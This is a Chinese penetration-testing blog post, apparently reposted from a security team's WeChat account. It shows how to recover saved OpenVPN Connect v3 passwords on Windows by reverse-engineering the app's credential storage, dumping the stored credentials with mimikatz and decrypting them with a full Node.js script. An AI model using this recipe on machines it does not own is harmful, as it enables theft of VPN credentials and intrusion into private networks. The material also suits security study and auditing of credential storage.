OpenVPN Connect v3 密码恢复

渗透技巧 2年前 (2022) admin
634 0 0

OpenVPN 是一个基于 OpenSSL 库的应用层 VPN 实现。和传统 VPN 相比,它的优点是简单易用。

渗透过程中如果碰到OpenVPN Connect v3,如何恢复其密码?

本文通过对OpenVPN Connect v3的逆向分析,成功恢复了密码明文。

1. OpenVPN的源码问题

实际大多数组件是开源的,但OpenVPN Connect v3不开源。

https://openvpn.net/source-code/

The OpenVPN Connect v3 GUI software by OpenVPN Inc. that comes included with OpenVPN Access Server and OpenVPN Cloud is not open source.

2. 逆向线索

2.1 线索1

渗透同事发来mimikatz疑似有openvpn的凭证

OpenVPN Connect v3 密码恢复

mimikatz

2.2 线索2

添加配置后,并保存密码

观察行为可以发现确实lsass进程确实生成了凭证

OpenVPN Connect v3 密码恢复

procmon

3. 寻找关键点

3.1 Windows凭证相关API

CredWriteA/CredWriteW

https://docs.microsoft.com/en-us/windows/win32/api/wincred/nf-wincred-credwritea

3.2 定位关键文件

在openvpn目录搜索CredWrite,发现其只出现在keytar.node

keytar是一个node模块https://github.com/atom/node-keytar

经过进一步观察目录结构,发现openvpn使用Electron编写

OpenVPN Connect v3 密码恢复

keytar

OpenVPN Connect v3 密码恢复

dir

3.3 解包app.asar

通过https://github.com/trondhumbor/Asar解包后发现不少js

OpenVPN Connect v3 密码恢复

app

3.4 通过source map还原js

通过https://www.npmjs.com/package/shuji还原出未压缩的js

3.5 分析主要逻辑

既然其使用了keytar,那么必然会调用keytar的setPassword方法

其原型为setPassword(service, account, password)

可以看到在保存到windows凭证前,又通过AES加密了一次

OpenVPN Connect v3 密码恢复

appsearch



password-util.js
import { getPassword as getFromKeychain, setPassword, deletePassword as deleteFromKeychain } from 'keytar';

const env = process.env;
const { PT_ONLY } = env;

const prefix = PT_ONLY ? ‘org.openvpn.privatetunnel’ : ‘org.openvpn.client.’;

const crypto = require(‘crypto’);

const ALGORITHM_NAME = ‘aes-128-gcm’;
const ALGORITHM_NONCE_SIZE = 12;
const ALGORITHM_TAG_SIZE = 16;
const ALGORITHM_KEY_SIZE = 16;
const PBKDF2_NAME = ‘sha1’;
const PBKDF2_SALT_SIZE = 16;
const PBKDF2_ITERATIONS = 32767;

function encryptString(plaintext, password) {
try {
const salt = crypto.randomBytes(PBKDF2_SALT_SIZE);
const key = crypto.pbkdf2Sync(
Buffer.from(password, ‘utf8’),
salt,
PBKDF2_ITERATIONS,
ALGORITHM_KEY_SIZE,
PBKDF2_NAME
);

    const ciphertextAndNonceAndSalt = Buffer.concat([salt, encrypt(Buffer.from(plaintext, 'utf8'), key)]);
return ciphertextAndNonceAndSalt.toString('base64');
} catch (e) {
console.warn(e);
}

}

function decryptString(base64CiphertextAndNonceAndSalt, password) {
try {
const ciphertextAndNonceAndSalt = Buffer.from(base64CiphertextAndNonceAndSalt, ‘base64’);
const salt = ciphertextAndNonceAndSalt.slice(0, PBKDF2_SALT_SIZE);
const ciphertextAndNonce = ciphertextAndNonceAndSalt.slice(PBKDF2_SALT_SIZE);

    const key = crypto.pbkdf2Sync(
Buffer.from(password, 'utf8'),
salt,
PBKDF2_ITERATIONS,
ALGORITHM_KEY_SIZE,
PBKDF2_NAME
);
return decrypt(ciphertextAndNonce, key).toString('utf8');
} catch (e) {
console.warn(e);
}

}

function encrypt(plaintext, key) {
const nonce = crypto.randomBytes(ALGORITHM_NONCE_SIZE);
const cipher = crypto.createCipheriv(ALGORITHM_NAME, key, nonce);
const ciphertext = Buffer.concat([cipher.update(plaintext), cipher.final()]);
return Buffer.concat([nonce, ciphertext, cipher.getAuthTag()]);
}

function decrypt(ciphertextAndNonce, key) {
const nonce = ciphertextAndNonce.slice(0, ALGORITHM_NONCE_SIZE);
const ciphertext = ciphertextAndNonce.slice(
ALGORITHM_NONCE_SIZE,
ciphertextAndNonce.length - ALGORITHM_TAG_SIZE
);
const tag = ciphertextAndNonce.slice(ciphertext.length + ALGORITHM_NONCE_SIZE);
const cipher = crypto.createDecipheriv(ALGORITHM_NAME, key, nonce);
cipher.setAuthTag(tag);
const res = Buffer.concat([cipher.update(ciphertext), cipher.final()]);
return res;
}
// const es = encryptString(‘test123’, ‘profname’);
// console.log(es);
// console.log(decryptString(es, ‘profname’));

export async function savePassword(profile, password) {
return setPassword(prefix, profile, encryptString(password, profile));
}

export async function getPassword(profile) {
return getFromKeychain(prefix, profile).then((s) => decryptString(s, profile));
}

export function deletePassword(profile) {
return deleteFromKeychain(prefix, profile);
}

export async function savePrivateKeyPassword(profile, password) {
return setPassword(prefix, ${profile}.pkp, encryptString(password, profile));
}

export function getPrivateKeyPassword(profile) {
return getFromKeychain(prefix, ${profile}.pkp).then((s) => decryptString(s, profile));
}

export function deletePrivateKeyPassword(profile) {
return deleteFromKeychain(prefix, ${profile}.pkp);
}

export async function changePassProfile(oldName, newName) {
const pass = await getPassword(oldName);
if (!pass) {
return;
}
await savePassword(newName, pass);
await deletePassword(oldName);
}

export async function changePkpProfile(oldName, newName) {
const pass = await getPrivateKeyPassword(oldName);
if (!pass) {
return;
}
await savePrivateKeyPassword(newName, pass);
await deletePrivateKeyPassword(oldName);
}


3.6 AES密钥

其使用的就是windows凭证的用户名作为AES的密钥,所以1659699386063就是key

OpenVPN Connect v3 密码恢复

aeskey

4. 恢复密码

mimikatz到导出的为hex的数据

txt

1
67 70 2f 75 48 45 75 75 4f 48 58 56 4e 59 48 30 77 30 42 45 4f 57 4c 30 4a 55 54 67 58 43 38 44 7a 75 51 68 43 79 45 49 51 4b 46 58 38 49 32 44 4b 43 45 64 4e 55 64 72 45 36 38 4e 6a 4d 32 52 7a 51 4e 78 6f 77 3d 3d

处理后为

txt

1
gp/uHEuuOHXVNYH0w0BEOWL0JUTgXC8DzuQhCyEIQKFX8I2DKCEdNUdrE68NjM2RzQNxow==

编写node的解密脚本

js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
const crypto = require('crypto');
const ALGORITHM_NAME = 'aes-128-gcm';
const ALGORITHM_NONCE_SIZE = 12;
const ALGORITHM_TAG_SIZE = 16;
const ALGORITHM_KEY_SIZE = 16;
const PBKDF2_NAME = 'sha1';
const PBKDF2_SALT_SIZE = 16;
const PBKDF2_ITERATIONS = 32767;

function decryptString(base64CiphertextAndNonceAndSalt, password) {
try {
const ciphertextAndNonceAndSalt = Buffer.from(base64CiphertextAndNonceAndSalt, 'base64');
const salt = ciphertextAndNonceAndSalt.slice(0, PBKDF2_SALT_SIZE);
const ciphertextAndNonce = ciphertextAndNonceAndSalt.slice(PBKDF2_SALT_SIZE);

const key = crypto.pbkdf2Sync(
Buffer.from(password, 'utf8'),
salt,
PBKDF2_ITERATIONS,
ALGORITHM_KEY_SIZE,
PBKDF2_NAME
);
return decrypt(ciphertextAndNonce, key).toString('utf8');
} catch (e) {
console.warn(e);
}
}
function decrypt(ciphertextAndNonce, key) {
const nonce = ciphertextAndNonce.slice(0, ALGORITHM_NONCE_SIZE);
const ciphertext = ciphertextAndNonce.slice(
ALGORITHM_NONCE_SIZE,
ciphertextAndNonce.length - ALGORITHM_TAG_SIZE
);
const tag = ciphertextAndNonce.slice(ciphertext.length + ALGORITHM_NONCE_SIZE);
const cipher = crypto.createDecipheriv(ALGORITHM_NAME, key, nonce);
cipher.setAuthTag(tag);
const res = Buffer.concat([cipher.update(ciphertext), cipher.final()]);
return res;
}

console.log(decryptString("gp/uHEuuOHXVNYH0w0BEOWL0JUTgXC8DzuQhCyEIQKFX8I2DKCEdNUdrE68NjM2RzQNxow==","1659699386063"))


执行后即可获得明文


OpenVPN Connect v3 密码恢复

password


原文始发于微信公众号(雁行安全团队):OpenVPN Connect v3 密码恢复

版权声明:admin 发表于 2022年8月22日 下午12:01。
转载请注明:OpenVPN Connect v3 密码恢复 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...